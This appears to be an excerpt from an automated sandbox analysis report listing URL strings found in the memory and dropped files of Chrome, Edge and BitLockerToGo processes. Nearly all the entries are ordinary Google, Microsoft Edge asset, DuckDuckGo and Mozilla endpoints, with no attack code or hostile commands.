Source: chrome.exe, 0000000B.00000003.1746545216.0000009C015C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1700540659.0000090400684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746479661.0000009C015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746756020.0000009C015CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1700077950.0000090400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1744611949.000009040080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1700282888.000009040039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: msedge.exe, 0000000E.00000002.1839259406.000001F80017C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.15.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 2351b84e-e2df-4584-b041-fba5ee3b4e44.tmp.17.dr	String found in binary or memory: https://clients2.google.com
Source: chrome.exe, 0000000B.00000003.1696435684.000051DC002E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1696401582.000051DC002D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 0000000B.00000003.1713217284.0000009C00BD8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000002.1838722453.000001F800040000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.15.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chrome.exe, 0000000B.00000003.1713217284.0000009C00BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx=
Source: 2351b84e-e2df-4584-b041-fba5ee3b4e44.tmp.17.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: BitLockerToGo.exe, 00000009.00000002.2108827400.000000000556D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000004FEA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2101868029.00000000028BE000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000004F8D000.00000004.00000020.00020000.00000000.sdmp, 3euk6x.9.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: BitLockerToGo.exe, 00000009.00000002.2108827400.000000000556D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000004FEA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2101868029.00000000028BE000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000004F8D000.00000004.00000020.00020000.00000000.sdmp, 3euk6x.9.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: manifest.json0.15.dr	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview2K
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: chrome.exe, 0000000B.00000003.1718586350.0000009C003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 0000000B.00000003.1713217284.0000009C00BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: BitLockerToGo.exe, 00000009.00000002.2105782432.00000000052BF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1804037779.0000000005005000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000005005000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, ppp8y5.9.dr, 8y58gl.9.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BitLockerToGo.exe, 00000009.00000002.2105782432.00000000052BF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1804037779.0000000005005000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000005005000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, ppp8y5.9.dr, 8y58gl.9.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BitLockerToGo.exe, 00000009.00000002.2105782432.00000000052BF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1804037779.0000000005005000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000005005000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, ppp8y5.9.dr, 8y58gl.9.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log0.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log0.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr, HubApps Icons.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr, HubApps Icons.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr, HubApps Icons.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr, HubApps Icons.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log0.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr, HubApps Icons.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr, HubApps Icons.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr, HubApps Icons.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr, HubApps Icons.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_434.13.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
